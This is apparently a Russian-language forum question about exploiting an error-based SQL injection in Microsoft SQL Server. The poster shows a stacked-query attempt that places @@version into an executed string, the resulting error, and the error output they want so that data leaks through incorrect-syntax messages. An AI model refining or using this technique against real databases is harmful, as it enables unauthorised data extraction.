Есть инъекция в MSSQL - выводит ошибку (с полным query) только если incorrect syntax, все остальные не показываются.
Задача - сделать вывод нужных данных в этой ошибке, т.е. используя выполнение многих запросов за раз с точкой с запятой, засунуть результат селекта в сам запрос.
Составил пока такой запрос:
declare @v as varchar(2048)
select @v = @@version;
exec @v
Msg 203, Level 16, State 2, Line 7
The name 'Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Developer Edition on Windows NT 6.1 (Build 7600: )
' is not a valid identifier.
Но ошибка вылазит, как видно, не на синтакс.
Может есть идеи?
Чтобы было понятнее: хочу получить вот такую ошибку:
Incorrect syntax: Microsoft
SQL : SELECT id, desc from table1 where id='-1';...сам хитрый запрос...; select Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Developer Edition on Windows NT 6.1 (Build 7600: )